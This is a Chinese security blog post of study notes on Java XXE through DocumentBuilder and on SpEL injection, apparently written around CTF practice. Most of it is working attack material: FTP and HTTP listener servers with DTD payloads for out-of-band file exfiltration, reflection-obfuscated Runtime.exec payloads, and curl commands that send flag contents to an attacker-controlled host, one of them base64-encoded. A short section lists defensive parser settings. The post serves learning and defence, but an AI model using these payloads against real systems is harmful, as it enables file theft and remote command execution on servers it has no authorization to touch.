Java安全


找到了些其他师傅写的java漏洞文章,打算照着这些文章挨个看下去了,这篇博客就算个整合吧,放点有用但是又不值得单独开一章的那种

XML注入之DocumentBuilder与XXE攻击防御

参考文章:XML注入之DocumentBuilder与XXE攻击防御 Mi1k7ea ]

DocumentBuilder

DocumentBuilder是Java中常用的XML文档解析工具,是基于 DOM(Document Object Model,文档对象模型)的解析方式,把整个XML文档加载到内存并转化成DOM树,因此应用程序可以随机访问DOM树的任何数据。因此其优点是灵活性强、速度快; 缺点是消耗资源比较多。

漏洞成因

简单来说就是DocumentBuilder可以解析xml,也能解析xml的各种实体,导致的xml的注入,触发xxe漏洞

image-20230420151851965

因此就可以结合xxe的一些攻击方式去进行攻击

说一下盲带

两种,一种是ftp,一种是http

先说ftp

先在本地开一个ftp服务

import java.io.IOException;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.NoSuchElementException;
import java.util.Scanner;

public class LocalFtpServer {
    private static final int PORT = 2121;
    private static final String RETR = "RETR";
    private static final String CWD = "CWD";
    private static final String TYPE = "TYPE";
    private static final String JUNK1 = "EPSV";
    private static final String JUNK2 = "EPRT";
    private static final String LIST = "LIST";

    public static void main(String[] args) throws IOException {
        ServerSocket socket = new ServerSocket(PORT);
        while (true) {
            Socket client = socket.accept();
            new Thread(new Runnable() {
                @Override
                public void run() {
                    StringBuilder sb = new StringBuilder();
                    boolean startRecord = false;
                    try {
                        PrintWriter remoteSender = new PrintWriter(client.getOutputStream(), true);
                        Scanner remoteReader = new Scanner(client.getInputStream(), "UTF-8");
                        // FTP 的命令一般是 \r\n 作为一行的结束
                        remoteReader.useDelimiter("\r\n");
                        remoteSender.println("220 xxe-ftp-server");
                        while (true) {
                            String line = remoteReader.nextLine();
                            System.out.println("> " + line);
                            if (line.startsWith("USER")) {
                                remoteSender.println("331 password please - version check");
                            } else {
                                remoteSender.println("230 more data please!");
                            }
                            if (!startRecord) {
                                if (line.startsWith(TYPE))
                                    startRecord = true;
                            } else {
                                if (line.startsWith(RETR)) {
                                    sb.append('/').append(line.replace("RETR ", ""));
                                    client.setSoTimeout(3000);
                                    String tail = remoteReader.nextLine();
                                    System.out.println("> " + tail);
                                    sb.append('\n').append(tail);
                                    break;
                                } else if (line.startsWith(JUNK1) || line.startsWith(JUNK2)) {
                                    // nothing
                                } else if (line.startsWith(CWD)) {
                                    sb.append('/').append(line.replace("RETR ", "").replace("CWD ", ""));
                                } else if (line.startsWith(LIST)) {
                                    sb.append('/');
                                    break;
                                } else {
                                    sb.append('\n').append(line.replace("RETR ", ""));
                                }
                            }
                        }
                        client.close();
                    } catch (NoSuchElementException e) {
                        e.printStackTrace();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    // 为了兼容 CWD ,开头多补充了一个斜杠
                    System.out.println("=====File Content=====");
                    String fileContent;
                    fileContent = sb.substring(1);
                    System.out.println(fileContent);
                    System.out.println("=====File Content=====");
                }
            }).start();
        }
    }
}

存在xxe漏洞的代码

public class LocalEntityDemo {
    public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException, org.xml.sax.SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = dbf.newDocumentBuilder();
        Document doc = builder.parse(new File("src/main/resources/user.xml"));
//        NodeList nodes = doc.getChildNodes();
//        for (int i = 0; i < nodes.getLength(); i++) {
//            if (nodes.item(i).getNodeType() == Node.ELEMENT_NODE) {
//                System.out.println(nodes.item(i).getTextContent());
//            }
//        }
    }
}

user.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
        <!ENTITY % file SYSTEM "file:///d:/passwd.txt">
        <!ENTITY % remote SYSTEM "http://127.0.0.1:8000/test.dtd">
        %remote;
        %all;
        ]>
<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">

image-20230420211618905

需要低版本的jdk,至少要小于8u161

否则会直接因为不合法的ftp命令导致报错

image-20230420211754607

也就不能读取全部的信息了

image-20230420211828514

然后是http的,这个只能读一行,多了就寄给你看

httpserver

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.spi.HttpServerProvider;

import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;

public class LocalHttpServer {
    public static void main(String[] args) throws IOException {
        HttpServerProvider provider = HttpServerProvider.provider();
        HttpServer httpserver = provider.createHttpServer(new InetSocketAddress(1234), 100);
        httpserver.createContext("/", new MyResponseHandler());
        httpserver.setExecutor(null);
        httpserver.start();
        System.out.println("server started");
    }

    public static class MyResponseHandler implements HttpHandler {
        @Override
        public void handle(HttpExchange httpExchange) throws IOException {
            System.out.println("Receive Request Start");
            String requestMethod = httpExchange.getRequestMethod();
            if (requestMethod.equalsIgnoreCase("GET")) {
                System.out.println(URLDecoder.decode(httpExchange.getRequestURI().toString(), "UTF-8"));
                String response = "";
                httpExchange.sendResponseHeaders(HttpURLConnection.HTTP_OK, response.getBytes(StandardCharsets.UTF_8).length);
                OutputStream responseBody = httpExchange.getResponseBody();
                OutputStreamWriter writer = new OutputStreamWriter(responseBody, StandardCharsets.UTF_8);
                writer.write(response);
                writer.close();
                responseBody.close();
            }
            System.out.println("Receive Request End");
        }
    }
}

test.dtd

<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:1234/%file;'>">

其他的不改也行

image-20230420214057080

多一行就去世

image-20230420214115858

image-20230420214129269

其他

还有什么SAXBuilder的xxeSAXParser的xxeSAXReader的xxe

感觉都差不多

防御

探讨XXE防御之setFeature设置

  • 如果disallow-doctype-decl设置为true,无法Bypass;
  • 如果external-general-entities设置为false,则只能解析内部实体而无法解析外部实体,此时能利用的只有XXE DoS攻击,但要看具体的JDK版本;
  • 如果external-parameter-entities设置为false,则解析内部实体、外部普通实体而无法解析外部参数实体,此时可以进行外部普通实体的形式来攻击或者XXE DoS;
  • 如果load-external-dtd设置为false,则解析内部实体、外部参数实体而无法解析外部普通实体,此时可以进行外部参数实体的形式来攻击或者XXE DoS;

SpEL注入漏洞

参考文章:Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)

SpEL注入之javacon

SpEL

Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

SpEL语言,可以用于Spring Framework中的表达式语言,通常用于在运行时计算值,它支持访问和操作对象的属性,方法调用,操作符,条件等。下面是每行的具体作用:

SpEL使用方式

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

//构造一个解析器
ExpressionParser parser = new SpelExpressionParser();
//解析器解析字符串表达式
Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
//构造上下文,可以不写,默认存在。但是默认的实例不会包含任何自定义的变量或函数。因此,如果表达式需要引用自定义的变量或函数,还是需要定义的。(这里的自定义变量和函数是指例如#root和#this变量,以及一些基本的函数,如toString()和getClass()函数,而不是在前边自己定义的字符串
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//通过 Expression 接口的 getValue 方法根据上下文获得表达式值
System.out.println(expression.getValue(context));

使用”T(Type)”来表示 java.lang.Class 实例,”Type”必须是类全限定名,”java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。

所以可以借这个方式来调用exec

image-20230420162627504

检测方法

全局搜索org.springframework.expression.spel.standardexpression.getValue()expression.setValue(),再分析代码中传入的参数是否可控。

利用

正常Windows本地利用反射方式弹计算器

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String[].class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")), (Object) new String[]{"cmd","/C","calc"});

(原博客这里getMethod的参数是String.class,后面还穿了个字符数组类型的,怎么可能跑起来啊

使用spEL的方式

主要就是加个T()

正常就是:
T(java.lang.Runtime).getRuntime().exec('curl yourip:port/?c=`cat flag`')
还可以用的StreamUtils包的copy()方法实现输入输出流来构造回显exp即可。
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('cat flag.txt').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())

这个StreamUtils包是spring里的,如果maven的pom.xml里导入了

org.springframework.boot spring-boot-starter-web

或者导入了

org.springframework spring-core 5.3.9

并且还有

org.springframework spring-web 5.3.1

就可以试试去利用这个包整点有回显的文件读取

如果有过滤可以试试反射的方式

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.lang.reflect.InvocationTargetException;

public class calc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        //创建一个SpEL表达式解析器。
        ExpressionParser parser = new SpelExpressionParser();
        String test = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}";
        //创建一个模板解析上下文。不传入的话会有默认的解析器,但是只支持一些基本的表达式,比如简单的算术运算、字符串操作、逻辑运算等等
        ParserContext parserContext = new TemplateParserContext();
        Expression exp = parser.parseExpression(test,parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        exp.getValue(evaluationContext).toString();
    }

}

然后这里还有几种其他的方式Javaweb安全——表达式注入(EL+SpEL)_Arnoldqqq的博客-CSDN博客

这里其实有个例题是p牛的javacon,但是我不想做(

看上面的参考文章吧,顺便说一下看wp得到的一个curl外带的技巧

curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`

把带出来的东西base64编码,然后用tr把换行替换成-,解决了curl外带只能带一行的问题


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录